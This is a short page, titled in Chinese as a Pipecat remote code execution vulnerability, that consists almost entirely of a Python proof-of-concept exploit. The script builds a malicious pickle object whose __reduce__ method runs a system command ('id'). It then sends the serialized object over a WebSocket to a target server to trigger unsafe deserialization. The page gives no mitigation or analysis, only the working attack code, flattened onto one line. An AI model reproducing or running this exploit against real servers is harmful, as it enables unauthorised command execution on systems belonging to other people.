CVE-2025-62373 Pipecat远程代码执行漏洞

import pickle import websockets import asyncio # Malicious class to execute command when deserialized class ExploitPayload: def __reduce__(self): # Execute 'id' command on the server return (__import__('os').system, ('id',)) async def send_exploit(target_uri): # Serialize the malicious object malicious_data = pickle.dumps(ExploitPayload()) try: async with websockets.connect(target_uri) as websocket: # Send the payload to the vulnerable server await websocket.send(malicious_data) print(f"[+] Payload sent to {target_uri}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with the actual WebSocket URL of the target target = "ws://127.0.0.1:8080" asyncio.run(send_exploit(target))